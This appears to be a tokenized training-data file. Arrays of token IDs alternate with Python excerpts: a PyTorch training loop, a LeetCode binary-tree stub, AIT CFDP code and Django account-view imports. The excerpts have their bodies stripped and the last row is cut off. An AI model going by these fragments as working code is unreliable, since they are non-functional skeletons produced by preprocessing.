198, 198, 4299, 9922, 7, 22915, 11, 6167, 2599, 198, 197, 7061, 6, 6822, 611, 3127, 5072, 318, 4961, 284, 262, 11188, 6167, 705, 7061, 198, 197, 9806, 62, 312, 87, 11, 1188, 796, 3509, 7, 268, 6975, 378, 7, 22915, 58, 15, 46570, 1994, 28, 46616, 13, 9186, 1136, 353, 7, 16, 4008, 198, 197, 448, 796, 28034, 13, 9107, 418, 7, 16, 11, 997, 62, 37724, 737, 66, 15339, 3419, 611, 779, 62, 66, 15339, 2073, 28034, 13, 9107, 418, 7, 16, 11, 997, 62, 37724, 8, 198, 197, 448, 58, 15, 7131, 9806, 62, 312, 87, 60, 796, 352, 628, 197, 361, 28034, 13, 27363, 7, 448, 13, 22468, 22784, 6167, 737, 26327, 22446, 439, 33529, 198, 197, 197, 7783, 352, 198, 197, 17772, 25, 198, 197, 197, 7783, 657, 628, 198, 4299, 4512, 7, 19849, 11, 6436, 11, 34054, 11, 4818, 388, 11, 6167, 2599, 198, 197, 7061, 6, 3401, 1958, 19590, 1912, 572, 1575, 422, 530, 4818, 499, 1563, 705, 7061, 198, 197, 40085, 13, 22570, 62, 9744, 3419, 198, 197, 22915, 796, 2746, 7, 19608, 388, 8, 198, 197, 22915, 796, 5072, 13, 1177, 7, 16, 11, 997, 62, 37724, 8, 198, 197, 271, 62, 30283, 796, 9922, 7, 22915, 11, 6167, 8, 198, 197, 22462, 796, 34054, 7, 22915, 11, 6167, 8, 198, 197, 22462, 13, 1891, 904, 3419, 198, 197, 40085, 13, 9662, 3419, 628, 197, 7783, 2994, 13, 9186, 22784, 318, 62, 30283, 628, 198, 4299, 1332, 62, 4134, 23843, 7, 19849, 11, 2124, 62, 9288, 11, 331, 62, 9288, 2599, 198, 197, 7061, 6, 33222, 286, 9104, 319, 1332, 1366, 705, 7061, 198, 197, 22510, 62, 30283, 796, 657, 198, 197, 1640, 1332, 11, 6167, 287, 19974, 7, 87, 62, 9288, 11, 331, 62, 9288, 2599, 198, 197, 197, 22915, 796, 2746, 7, 9288, 13, 1177, 7, 16, 11, 2746, 13, 22510, 62, 40890, 11, 2746, 13, 15414, 62, 7857, 4008, 198, 197, 197, 271, 62, 30283, 796, 9922, 7, 22915, 11, 6167, 8, 198, 197, 197, 22510, 62, 30283, 15853, 318, 62, 30283, 628, 197, 7783, 997, 62, 30283, 1220, 12178, 7, 87, 62, 9288, 13, 7857, 3419, 58, 15, 12962, 628, 198, 4299, 2251, 62, 29487, 7, 22462, 11, 4512, 62, 4134, 11, 1332, 62, 4134, 11, 997, 62, 538, 5374, 82, 11, 7110, 62, 16833, 11, 24714, 2599, 198, 197, 7061, 6, 7921, 274, 4823, 286, 2994, 11, 3047, 9922, 11, 290, 1332, 9922, 705, 7061, 198, 197, 489, 83, 13, 26875, 3419, 198, 197, 5647, 11, 7877, 796, 458, 83, 13, 7266, 489, 1747, 3419, 198, 197, 87, 62, 83, 3378, 796, 2837, 7, 29487, 62, 16833, 11, 997, 62, 538, 5374, 82, 1343, 352, 11, 7110, 62, 16833, 8, 198, 197, 88, 62, 83, 3378, 796, 45941, 13, 283, 858, 7, 15, 11, 352, 13, 16, 11, 657, 13, 16, 8, 198, 197, 489, 83, 13, 7266, 29487, 7, 16243, 8, 198, 197, 489, 83, 13, 29487, 7, 87, 62, 83, 3378, 11, 2994, 11, 6167, 2625, 26287, 22014, 4943, 198, 197, 489, 83, 13, 29487, 7, 87, 62, 83, 3378, 11, 4512, 62, 4134, 11, 6167, 2625, 44357, 33222, 4943, 198, 197, 489, 83, 13, 29487, 7, 87, 62, 83, 3378, 11, 1332, 62, 4134, 11, 6167, 2625, 7762, 24765, 33222, 4943, 198, 197, 489, 83, 13, 1455, 437, 7, 65, 3524, 62, 1462, 62, 3702, 273, 16193, 15, 1539, 352, 13, 2999, 11, 352, 1539, 764, 15377, 828, 1179, 28, 18, 11, 198, 197, 197, 197, 220, 220, 299, 4033, 28, 17, 11, 4235, 2625, 11201, 392, 1600, 4865, 897, 9774, 324, 28, 15, 2014, 198, 197, 489, 83, 13, 742, 3378, 7, 87, 62, 83, 3378, 8, 198, 197, 489, 83, 13, 20760, 3378, 7, 88, 62, 83, 3378, 8, 198, 197, 489, 83, 13, 22704, 26933, 15, 11, 997, 62, 538, 5374, 82, 11, 657, 11, 352, 12962, 198, 197, 489, 83, 13, 2645, 9608, 7203, 26287, 22014, 4943, 198, 197, 489, 83, 13, 87, 18242, 7203, 13807, 5374, 4943, 198, 197, 198, 197, 7061, 6, 12793, 4823, 705, 7061, 198, 197, 489, 83, 13, 21928, 5647, 7, 22184, 8, 628, 198, 4299, 4512, 62, 270, 364, 7, 19849, 11, 2124, 62, 27432, 11, 331, 62, 27432, 11, 2124, 62, 9288, 11, 331, 62, 9288, 11, 24714, 11, 300, 81, 28, 12924, 20471, 62, 85, 945, 17816, 14050, 6, 4357, 15458, 62, 7857, 28, 12924, 20471, 62, 85, 945, 14692, 43501, 62, 7857, 33116, 997, 62, 538, 5374, 82, 28, 12924, 20471, 62, 85, 945, 14692, 22510, 62, 538, 5374, 82, 33116, 3601, 62, 16833, 28, 12924, 20471, 62, 85, 945, 17816, 4798, 62, 16833, 6, 4357, 7110, 62, 16833, 28, 12924, 20471, 62, 85, 945, 17816, 29487, 62, 16833, 20520, 2599, 198, 197, 7061, 6, 833, 1299, 17019, 2010, 329, 997, 13807, 5374, 82, 340, 364, 705, 7061, 198, 197, 22510, 796, 24714, 13, 35312, 10786, 14, 11537, 58, 12, 16, 4083, 35312, 10786, 2637, 38381, 15, 4083, 35312, 10786, 12924, 20471, 11537, 58, 12, 16, 60, 198, 197, 29487, 62, 22184, 796, 366, 34960, 82, 14, 12924, 20471, 14, 22462, 48997, 4, 82, 13, 11134, 1, 4064, 997, 628, 197, 4299, 43237, 600, 62, 30281, 7, 82, 328, 11, 24415, 2599, 198, 197, 197, 7061, 6, 7157, 829, 19212, 1343, 327, 13, 12793, 262, 1366, 656, 45941, 89, 3696, 13, 6060, 5128, 1513, 656, 788, 316, 1818, 705, 7061, 198, 197, 197, 13165, 354, 13, 21928, 7, 19849, 13, 5219, 62, 11600, 22784, 24714, 8, 198, 197, 197, 17953, 62, 29487, 7, 29487, 62, 22462, 62, 615, 14542, 11, 4512, 62, 4134, 333, 13433, 11, 198, 197, 197, 197, 197, 220, 220, 1332, 62, 4134, 333, 13433, 11, 997, 62, 538, 5374, 82, 11, 7110, 62, 16833, 11, 7110, 62, 22184, 8, 198, 197, 197, 4798, 7203, 50, 2703, 2746, 290, 1475, 1780, 4943, 198, 197, 197, 17597, 13, 37023, 7, 15, 8, 628, 197, 7061, 6, 20768, 1096, 43237, 600, 21360, 705, 7061, 198, 197, 12683, 282, 13, 12683, 282, 7, 12683, 282, 13, 50, 3528, 12394, 11, 43237, 600, 62, 30281, 8, 628, 197, 29487, 62, 22462, 62, 615, 14542, 796, 17635, 198, 197, 538, 5374, 82, 796, 17635, 198, 197, 27432, 62, 4134, 333, 13433, 796, 17635, 198, 197, 9288, 62, 4134, 333, 13433, 796, 17635, 198, 197, 22462, 62, 23350, 796, 657, 198, 197, 29487, 62, 22462, 62, 23350, 796, 657, 198, 197, 22510, 62, 30283, 796, 657, 198, 197, 29487, 62, 30283, 796, 657, 628, 197, 40085, 7509, 796, 6436, 13, 23159, 7, 19849, 13, 17143, 7307, 22784, 300, 81, 28, 14050, 8, 198, 197, 361, 34236, 14512, 6045, 25, 198, 197, 197, 1416, 704, 18173, 796, 5012, 35972, 7, 40085, 7509, 11, 2239, 62, 7857, 28, 6200, 11, 34236, 28, 28483, 2611, 8, 198, 197, 22213, 28019, 796, 299, 77, 13, 2749, 36, 3152, 11187, 896, 43, 793, 3419, 628, 197, 88, 62, 27432, 796, 28034, 13, 6738, 62, 77, 32152, 7, 88, 62, 27432, 737, 22468, 22446, 66, 15339, 7, 198, 197, 8, 611, 779, 62, 66, 15339, 2073, 28034, 13, 6738, 62, 77, 32152, 7, 88, 62, 27432, 737, 22468, 3419, 198, 197, 87, 62, 27432, 796, 28034, 13, 6738, 62, 77, 32152, 7, 87, 62, 27432, 737, 22468, 22446, 66, 15339, 7, 198, 197, 8, 611, 779, 62, 66, 15339, 2073, 28034, 13, 6738, 62, 77, 32152, 7, 87, 62, 27432, 737, 22468, 3419, 198, 197, 88, 62, 9288, 796, 28034, 13, 6738, 62, 77, 32152, 7, 88, 62, 9288, 737, 22468, 22446, 66, 15339, 7, 198, 197, 8, 611, 779, 62, 66, 15339, 2073, 28034, 13, 6738, 62, 77, 32152, 7, 88, 62, 9288, 737, 22468, 3419, 198, 197, 87, 62, 9288, 796, 28034, 13, 6738, 62, 77, 32152, 7, 87, 62, 9288, 737, 22468, 22446, 66, 15339, 7, 198, 197, 8, 611, 779, 62, 66, 15339, 2073, 28034, 13, 6738, 62, 77, 32152, 7, 87, 62, 9288, 737, 22468, 3419, 628, 197, 1640, 1459, 62, 538, 5374, 287, 256, 80, 36020, 7, 9521, 7, 22510, 62, 538, 5374, 82, 8, 2599, 198, 197, 197, 361, 34236, 14512, 6045, 25, 198, 197, 197, 197, 1416, 704, 18173, 13, 9662, 3419, 198, 197, 197, 1640, 1312, 287, 2837, 7, 43501, 62, 7857, 2599, 198, 197, 197, 197, 14535, 62, 22510, 796, 4738, 13, 25192, 600, 7, 15, 11, 2124, 62, 27432, 13, 7857, 3419, 58, 15, 60, 532, 352, 8, 198, 197, 197, 197, 14535, 796, 2124, 62, 27432, 58, 14535, 62, 22510, 4083, 1177, 7, 16, 11, 2746, 13, 22510, 62, 40890, 11, 2746, 13, 15414, 62, 7857, 8, 198, 197, 197, 197, 18242, 796, 331, 62, 27432, 58, 14535, 62, 22510, 4083, 1177, 7, 16, 11, 997, 62, 37724, 8, 198, 197, 197, 197, 22462, 11, 318, 62, 30283, 796, 4512, 7, 198, 197, 197, 197, 197, 19849, 11, 6436, 7509, 11, 34054, 11, 5739, 11, 6167, 8, 628, 197, 197, 197, 22510, 62, 30283, 15853, 318, 62, 30283, 198, 197, 197, 197, 22462, 62, 23350, 15853, 2994, 198, 197, 197, 197, 29487, 62, 30283, 15853, 318, 62, 30283, 220, 1303, 6889, 257, 4866, 286, 997, 42779, 329, 7110, 62, 16833, 198, 197, 197, 197, 29487, 62, 22462, 62, 23350, 15853, 2994, 198, 197, 197, 198, 197, 197, 361, 357, 14421, 62, 538, 5374, 1343, 352, 8, 4064, 3601, 62, 16833, 6624, 657, 25, 198, 197, 197, 197, 615, 70, 62, 22462, 796, 2994, 62, 23350, 1220, 357, 4798, 62, 16833, 1635, 15458, 62, 7857, 8, 198, 197, 197, 197, 27432, 62, 4134, 796, 997, 62, 30283, 1220, 12178, 7, 4798, 62, 16833, 1635, 15458, 62, 7857, 8, 198, 197, 197, 197, 9288, 62, 4134, 796, 1332, 62, 4134, 23843, 7, 19849, 11, 2124, 62, 9288, 11, 331, 62, 9288, 8, 198, 197, 197, 197, 83, 80, 36020, 13, 13564, 7203, 58, 13807, 5374, 4064, 67, 14, 4, 67, 60, 33455, 22014, 25, 4064, 69, 11, 13614, 6366, 25, 4064, 69, 11, 3254, 24765, 6366, 25, 4064, 69, 1, 4064, 198, 197, 197, 197, 197, 197, 220, 220, 357, 14421, 62, 538, 5374, 1343, 352, 11, 997, 62, 538, 5374, 82, 11, 42781, 62, 22462, 11, 4512, 62, 4134, 11, 1332, 62, 4134, 4008, 198, 197, 197, 197, 22462, 62, 23350, 796, 657, 198, 197, 197, 197, 22510, 62, 30283, 796, 657, 628, 197, 197, 361, 357, 14421, 62, 538, 5374, 1343, 352, 8, 4064, 7110, 62, 16833, 6624, 657, 25, 198, 197, 197, 197, 29487, 62, 9288, 62, 4134, 796, 1332, 62, 4134, 23843, 7, 19849, 11, 2124, 62, 9288, 11, 331, 62, 9288, 8, 198, 197, 197, 197, 29487, 62, 27432, 62, 4134, 796, 7110, 62, 30283, 1220, 12178, 7, 29487, 62, 16833, 1635, 15458, 62, 7857, 8, 198, 197, 197, 197, 27432, 62, 4134, 333, 13433, 13, 33295, 7, 29487, 62, 27432, 62, 4134, 8, 198, 197, 197, 197, 9288, 62, 4134, 333, 13433, 13, 33295, 7, 29487, 62, 9288, 62, 4134, 8, 198, 197, 197, 197, 615, 70, 62, 22462, 796, 7110, 62, 22462, 62, 23350, 1220, 357, 29487, 62, 16833, 1635, 15458, 62, 7857, 8, 198, 197, 197, 197, 29487, 62, 22462, 62, 615, 14542, 13, 33295, 7, 615, 70, 62, 22462, 8, 198, 197, 197, 197, 538, 5374, 82, 13, 33295, 7, 14421, 62, 538, 5374, 1343, 352, 8, 198, 197, 197, 197, 29487, 62, 30283, 796, 657, 198, 197, 197, 197, 29487, 62, 22462, 62, 23350, 796, 657, 628, 197, 17953, 62, 29487, 7, 29487, 62, 22462, 62, 615, 14542, 11, 4512, 62, 4134, 333, 13433, 11, 198, 197, 197, 197, 220, 220, 1332, 62, 4134, 333, 13433, 11, 997, 62, 538, 5374, 82, 11, 7110, 62, 16833, 11, 7110, 62, 22184, 8, 197, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 197, 7061, 6, 20559, 29572, 34771, 705, 7061, 198, 197, 48610, 796, 1822, 29572, 13, 28100, 1713, 46677, 7, 11213, 11639, 37, 2132, 8113, 276, 18272, 19530, 3433, 319, 48700, 12, 9654, 3455, 1366, 11537, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 39437, 1600, 27444, 83, 1600, 2244, 2625, 39437, 1600, 2223, 2625, 8095, 62, 7942, 4943, 198, 197, 48610, 13, 2860, 62, 49140, 10786, 438, 24442, 3256, 2244, 11639, 24442, 3256, 2223, 11639, 8095, 62, 7942, 11537, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 694, 457, 12, 22184, 1600, 27444, 66, 1600, 2244, 2625, 694, 457, 62, 22184, 1600, 198, 197, 197, 197, 197, 197, 197, 4906, 28, 2536, 11, 4277, 2625, 12924, 20471, 830, 13, 694, 457, 4943, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 21928, 12, 22184, 1600, 27444, 82, 1600, 2244, 2625, 21928, 62, 22184, 1600, 198, 197, 197, 197, 197, 197, 197, 4906, 28, 2536, 11, 4277, 2625, 12924, 20471, 830, 13, 694, 457, 4943, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 40684, 12, 4873, 1600, 27444, 14050, 1600, 198, 197, 197, 197, 197, 197, 197, 16520, 2625, 40684, 62, 4873, 1600, 2099, 28, 22468, 11, 4277, 28, 15, 13, 2388, 2327, 8, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 22510, 12, 538, 5374, 82, 1600, 27444, 68, 1600, 2244, 2625, 22510, 62, 538, 5374, 82, 1600, 198, 197, 197, 197, 197, 197, 197, 4906, 28, 600, 11, 4277, 28, 12825, 11, 1037, 11639, 17618, 286, 3047, 34820, 11537, 198, 197, 48610, 13, 2860, 62, 49140, 7203, 438, 43501, 12, 7857, 1600, 27444, 65, 1600, 2244, 2625, 43501, 62, 7857, 1600, 2099, 28, 600, 11, 198, 197, 197, 197, 197, 197, 197, 12286, 28, 11645, 11, 1037, 11639, 17618, 286, 3047, 8405, 583, 36835, 11537, 198, 197, 48610, 13, 2860, 62, 49140, 10786, 438, 22510, 12, 37805, 3256, 705, 12, 69, 3256, 2244, 11639, 22510, 62, 37805, 3256, 2099, 28, 600, 11, 4277, 28, 19, 11, 198, 197, 197, 197, 197, 197, 197, 16794, 11639, 17618, 286, 12785, 13431, 810, 18868, 389, 22425, 11537, 198, 197, 48610, 13, 2860, 62, 49140, 10786, 438, 14050, 12, 12501, 323, 12, 4873, 3256, 705, 12, 67, 3256, 2244, 11639, 28483, 2611, 3256, 2099, 28, 22468, 11, 4277, 28, 14202, 8, 198, 197, 48610, 13, 2860, 62, 49140, 10786, 438, 8807, 12, 1670, 3256, 705, 12, 78, 3256, 2244, 11639, 1904, 62, 1670, 3256, 2223, 11639, 8095, 62, 7942, 3256, 198, 197, 197, 197, 197, 197, 197, 16794, 2625, 8807, 779, 3211, 1366, 4943, 198, 197, 48610, 13, 2860, 62, 49140, 10786, 438, 16680, 541, 306, 12, 1525, 12, 26675, 3256, 705, 12, 76, 3256, 2244, 11639, 76, 62, 26675, 3256, 2223, 11639, 8095, 62, 7942, 11537, 197, 628, 197, 7061, 6, 5345, 1822, 29572, 26235, 705, 7061, 198, 197, 48610, 13, 2617, 62, 12286, 82, 7, 1904, 62, 1670, 28, 25101, 8, 198, 197, 48610, 13, 2617, 62, 12286, 82, 7, 39437, 28, 25101, 8, 198, 197, 48610, 13, 2617, 62, 12286, 82, 7, 24442, 28, 25101, 8, 198, 197, 48610, 13, 2617, 62, 12286, 82, 7, 76, 62, 26675, 28, 25101, 8, 628, 197, 7061, 6, 5345, 9633, 284, 1822, 29572, 7159, 705, 7061, 198, 197, 22046, 796, 30751, 13, 29572, 62, 22046, 3419, 198, 197, 39437, 796, 26498, 13, 39437, 198, 197, 24442, 796, 26498, 13, 24442, 198, 197, 28483, 2611, 796, 26498, 13, 28483, 2611, 198, 197, 1904, 62, 1670, 796, 26498, 13, 1904, 62, 1670, 198, 197, 76, 62, 26675, 796, 285, 62, 26675, 628, 197, 694, 457, 62, 22184, 796, 366, 75, 301, 76, 457, 82, 14, 12924, 20471, 14, 4, 82, 1, 4064, 26498, 13, 694, 457, 62, 22184, 198, 197, 22184, 796, 366, 75, 301, 76, 457, 82, 14, 12924, 20471, 14, 4, 82, 1, 4064, 26498, 13, 21928, 62, 22184, 628, 197, 85, 796, 12372, 7, 1904, 62, 1670, 8, 198, 197, 15414, 62, 7857, 796, 410, 13, 1136, 62, 7857, 3419, 198, 197, 22510, 62, 40890, 796, 410, 13, 1136, 62, 22510, 62, 40890, 3419, 198, 197, 14781, 448, 796, 1461, 20471, 62, 85, 945, 17816, 14781, 448, 20520, 628, 197, 19849, 796, 9104, 7, 15414, 62, 7857, 28, 15414, 62, 7857, 11, 997, 62, 40890, 28, 22510, 62, 40890, 11, 4268, 448, 28, 14781, 448, 8, 198, 197, 19849, 796, 2746, 13, 66, 15339, 3419, 611, 779, 62, 66, 15339, 2073, 2746, 628, 197, 361, 4351, 25, 198, 197, 197, 19849, 13, 2220, 62, 5219, 62, 11600, 7, 13165, 354, 13, 2220, 7, 694, 457, 62, 22184, 4008, 198, 197, 197, 4798, 7203, 43260, 18252, 4943, 198, 197, 17772, 25, 198, 197, 197, 4798, 7203, 3673, 20558, 18252, 4943, 628, 197, 29356, 796, 6060, 17401, 7, 22046, 13, 22510, 62, 37805, 11, 779, 62, 1670, 11, 285, 62, 26675, 8, 198, 197, 259, 79, 16, 11, 503, 16, 796, 40213, 13, 2220, 62, 439, 3419, 198, 197, 87, 62, 27432, 11, 2124, 62, 9288, 11, 331, 62, 27432, 11, 331, 62, 9288, 796, 13845, 13, 27432, 62, 9288, 62, 35312, 7, 198, 197, 197, 259, 79, 16, 11, 503, 16, 11, 1332, 62, 7857, 28, 15, 13, 1314, 11, 4738, 62, 5219, 28, 1954, 8, 198, 197, 87, 62, 27432, 796, 778, 13, 11265, 1096, 7, 87, 62, 27432, 8, 198, 197, 88, 62, 27432, 796, 778, 13, 11265, 1096, 7, 88, 62, 27432, 8, 198, 197, 87, 62, 9288, 796, 778, 13, 11265, 1096, 7, 87, 62, 9288, 8, 198, 197, 88, 62, 9288, 796, 778, 13, 11265, 1096, 7, 88, 62, 9288, 8, 198, 197, 27432, 62, 270, 364, 7, 19849, 11, 2124, 62, 27432, 11, 331, 62, 27432, 11, 2124, 62, 9288, 11, 331, 62, 9288, 11, 24714, 8, 198, 197, 13165, 354, 13, 21928, 7, 19849, 13, 5219, 62, 11600, 22784, 24714, 8 ]
2.525106
3,306
# # @lc app=leetcode id=226 lang=python # # [226] Invert Binary Tree # # https://leetcode.com/problems/invert-binary-tree/description/ # # algorithms # Easy (56.72%) # Total Accepted: 297.1K # Total Submissions: 522.5K # Testcase Example: '[4,2,7,1,3,6,9]' # # Invert a binary tree. # # Example: # # Input: # # # ⁠ 4 # ⁠ / \ # ⁠ 2 7 # ⁠/ \ / \ # 1 3 6 9 # # Output: # # # ⁠ 4 # ⁠ / \ # ⁠ 7 2 # ⁠/ \ / \ # 9 6 3 1 # # Trivia: # This problem was inspired by this original tweet by Max Howell: # # Google: 90% of our engineers use the software you wrote (Homebrew), but you # can’t invert a binary tree on a whiteboard so f*** off. # # # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None
[ 2, 198, 2, 2488, 44601, 598, 28, 293, 316, 8189, 4686, 28, 24909, 42392, 28, 29412, 198, 2, 198, 2, 685, 24909, 60, 554, 1851, 45755, 12200, 198, 2, 198, 2, 3740, 1378, 293, 316, 8189, 13, 785, 14, 1676, 22143, 14, 259, 1851, 12, 39491, 12, 21048, 14, 11213, 14, 198, 2, 198, 2, 16113, 198, 2, 16789, 357, 3980, 13, 4761, 4407, 198, 2, 7472, 21699, 276, 25, 220, 220, 220, 41103, 13, 16, 42, 198, 2, 7472, 3834, 8481, 25, 642, 1828, 13, 20, 42, 198, 2, 6208, 7442, 17934, 25, 220, 44438, 19, 11, 17, 11, 22, 11, 16, 11, 18, 11, 21, 11, 24, 49946, 198, 2, 198, 2, 554, 1851, 257, 13934, 5509, 13, 198, 2, 198, 2, 17934, 25, 198, 2, 198, 2, 23412, 25, 198, 2, 198, 2, 198, 2, 2343, 223, 254, 220, 220, 220, 604, 198, 2, 2343, 223, 254, 220, 1220, 220, 220, 3467, 198, 2, 2343, 223, 254, 362, 220, 220, 220, 220, 767, 198, 2, 2343, 223, 254, 14, 3467, 220, 220, 1220, 3467, 198, 2, 352, 220, 220, 513, 718, 220, 220, 860, 198, 2, 198, 2, 25235, 25, 198, 2, 198, 2, 198, 2, 2343, 223, 254, 220, 220, 220, 604, 198, 2, 2343, 223, 254, 220, 1220, 220, 220, 3467, 198, 2, 2343, 223, 254, 767, 220, 220, 220, 220, 362, 198, 2, 2343, 223, 254, 14, 3467, 220, 220, 1220, 3467, 198, 2, 860, 220, 220, 718, 513, 220, 220, 352, 198, 2, 198, 2, 7563, 8869, 25, 198, 2, 770, 1917, 373, 7867, 416, 428, 2656, 6126, 416, 5436, 47554, 25, 198, 2, 198, 2, 3012, 25, 4101, 4, 286, 674, 12037, 779, 262, 3788, 345, 2630, 357, 16060, 11269, 828, 475, 345, 198, 2, 460, 447, 247, 83, 287, 1851, 257, 13934, 5509, 319, 257, 2330, 3526, 523, 277, 8162, 572, 13, 198, 2, 198, 2, 198, 2, 30396, 329, 257, 13934, 5509, 10139, 13, 198, 2, 1398, 12200, 19667, 7, 15252, 2599, 198, 2, 220, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 2124, 2599, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 2100, 796, 2124, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 9464, 796, 6045, 198, 2, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 3506, 796, 6045, 628 ]
2.137405
393
import os #Functions for Blackjack
[ 11748, 28686, 198, 198, 2, 24629, 2733, 329, 2619, 19650, 198, 220, 220, 220, 220 ]
2.666667
15
# Advanced Multi-Mission Operations System (AMMOS) Instrument Toolkit (AIT) # Bespoke Link to Instruments and Small Satellites (BLISS) # # Copyright 2018, by the California Institute of Technology. ALL RIGHTS # RESERVED. United States Government Sponsorship acknowledged. Any # commercial use must be negotiated with the Office of Technology Transfer # at the California Institute of Technology. # # This software may be subject to U.S. export control laws. By accepting # this software, the user agrees to comply with all applicable U.S. export # laws and regulations. User has the responsibility to obtain export licenses, # or other export authority as may be required before exporting such # information to foreign countries or providing access to foreign persons. from ait.dsn.cfdp.primitives import Role, MachineState, FinalStatus, IndicationType, HandlerCode, ConditionCode from ait.dsn.cfdp.events import Event import ait.core.log class ID(object): """ CFDP entity ID. Unsigned binary integer Entity ID length is 3 bits, value can be up to 8 octets (bytes) long Entity ID is packed in PDUs by octet length less 1 (e.g. 0 for 1 octet length) """ # TODO figure out 3 bit length, 8 byte value restriction @property @length.setter @property @value.setter
[ 2, 13435, 15237, 12, 37057, 16205, 4482, 357, 2390, 44, 2640, 8, 42410, 16984, 15813, 357, 32, 2043, 8, 198, 2, 347, 9774, 2088, 7502, 284, 43953, 290, 10452, 311, 7528, 2737, 357, 9148, 16744, 8, 198, 2, 198, 2, 15069, 2864, 11, 416, 262, 3442, 5136, 286, 8987, 13, 11096, 371, 34874, 198, 2, 15731, 1137, 53, 1961, 13, 1578, 1829, 5070, 18972, 11094, 10810, 13, 4377, 198, 2, 5068, 779, 1276, 307, 22368, 351, 262, 4452, 286, 8987, 20558, 198, 2, 379, 262, 3442, 5136, 286, 8987, 13, 198, 2, 198, 2, 770, 3788, 743, 307, 2426, 284, 471, 13, 50, 13, 10784, 1630, 3657, 13, 2750, 12598, 198, 2, 428, 3788, 11, 262, 2836, 14386, 284, 11997, 351, 477, 9723, 471, 13, 50, 13, 10784, 198, 2, 3657, 290, 6647, 13, 11787, 468, 262, 5798, 284, 7330, 10784, 16625, 11, 198, 2, 393, 584, 10784, 4934, 355, 743, 307, 2672, 878, 39133, 884, 198, 2, 1321, 284, 3215, 2678, 393, 4955, 1895, 284, 3215, 6506, 13, 198, 198, 6738, 257, 270, 13, 9310, 77, 13, 12993, 26059, 13, 19795, 20288, 1330, 20934, 11, 10850, 9012, 11, 8125, 19580, 11, 1423, 3299, 6030, 11, 32412, 10669, 11, 24295, 10669, 198, 6738, 257, 270, 13, 9310, 77, 13, 12993, 26059, 13, 31534, 1330, 8558, 198, 198, 11748, 257, 270, 13, 7295, 13, 6404, 628, 198, 4871, 4522, 7, 15252, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 18551, 6322, 9312, 4522, 13, 791, 32696, 13934, 18253, 198, 220, 220, 220, 20885, 4522, 4129, 318, 513, 10340, 11, 1988, 460, 307, 510, 284, 807, 19318, 1039, 357, 33661, 8, 890, 198, 220, 220, 220, 20885, 4522, 318, 11856, 287, 14340, 5842, 416, 19318, 316, 4129, 1342, 352, 357, 68, 13, 70, 13, 657, 329, 352, 19318, 316, 4129, 8, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 1303, 16926, 46, 3785, 503, 513, 1643, 4129, 11, 807, 18022, 1988, 17504, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 13664, 13, 2617, 353, 628, 220, 220, 220, 2488, 26745, 628, 220, 220, 220, 2488, 8367, 13, 2617, 353, 628, 198 ]
3.690141
355
import json import logging import re import uuid from datetime import datetime import requests from allauth.account.models import EmailAddress from allauth.account.views import ( LoginView, LogoutView, SignupView, PasswordChangeView, PasswordSetView, PasswordResetView, PasswordResetDoneView, PasswordResetFromKeyView, PasswordResetFromKeyDoneView, EmailVerificationSentView, ConfirmEmailView, EmailView, AccountInactiveView ) from allauth.socialaccount import views as socialaccount_views from allauth.socialaccount.models import SocialAccount from django.conf import settings from django.contrib.auth import get_user_model from django.contrib.auth import logout from django.contrib.auth.mixins import ( AccessMixin, LoginRequiredMixin ) from django.contrib.gis.geoip2 import GeoIP2 from django.shortcuts import ( get_object_or_404 ) from django.urls import reverse from django.utils.timezone import ( timedelta, localtime, make_aware, now ) from django.utils.translation import ugettext_lazy as _ from django.views.generic import ( TemplateView, UpdateView, DetailView, FormView ) from geoip2.errors import AddressNotFoundError from ipware import get_client_ip from rest_framework import ( status, views ) from rest_framework.response import Response from rakmai.viewmixins import HostContextMixin from shop.models import Order from shop.tasks import ( send_notification_line ) from shop.viewmixins import StoreContextMixin from . import settings as member_settings from .forms2 import ( MemberLoginForm, MemberResetPasswordForm, MemberResetPasswordKeyForm, MemberAddEmailForm, MemberChangePasswordForm, MemberSetPasswordForm, MemberDocumentForm, MemberUnregisterForm, MemberChangeNameForm, ) from .models import ( Profile, PhoneVerificationLog, PhoneBanned ) from .serializers import IamportSmsCallbackSerializer
[ 11748, 33918, 198, 11748, 18931, 198, 11748, 302, 198, 11748, 334, 27112, 198, 6738, 4818, 8079, 1330, 4818, 8079, 198, 198, 11748, 7007, 198, 6738, 477, 18439, 13, 23317, 13, 27530, 1330, 9570, 20231, 198, 6738, 477, 18439, 13, 23317, 13, 33571, 1330, 357, 198, 220, 220, 220, 23093, 7680, 11, 5972, 448, 7680, 11, 5865, 929, 7680, 11, 198, 220, 220, 220, 30275, 19400, 7680, 11, 30275, 7248, 7680, 11, 198, 220, 220, 220, 30275, 4965, 316, 7680, 11, 30275, 4965, 316, 45677, 7680, 11, 30275, 4965, 316, 4863, 9218, 7680, 11, 30275, 4965, 316, 4863, 9218, 45677, 7680, 11, 198, 220, 220, 220, 9570, 13414, 2649, 31837, 7680, 11, 7326, 2533, 15333, 7680, 11, 9570, 7680, 11, 10781, 818, 5275, 7680, 198, 8, 198, 6738, 477, 18439, 13, 14557, 23317, 1330, 5009, 355, 1919, 23317, 62, 33571, 198, 6738, 477, 18439, 13, 14557, 23317, 13, 27530, 1330, 5483, 30116, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 651, 62, 7220, 62, 19849, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 1330, 2604, 448, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 19816, 1040, 1330, 357, 198, 220, 220, 220, 8798, 35608, 259, 11, 23093, 37374, 35608, 259, 198, 8, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 70, 271, 13, 469, 78, 541, 17, 1330, 32960, 4061, 17, 198, 6738, 42625, 14208, 13, 19509, 23779, 1330, 357, 198, 220, 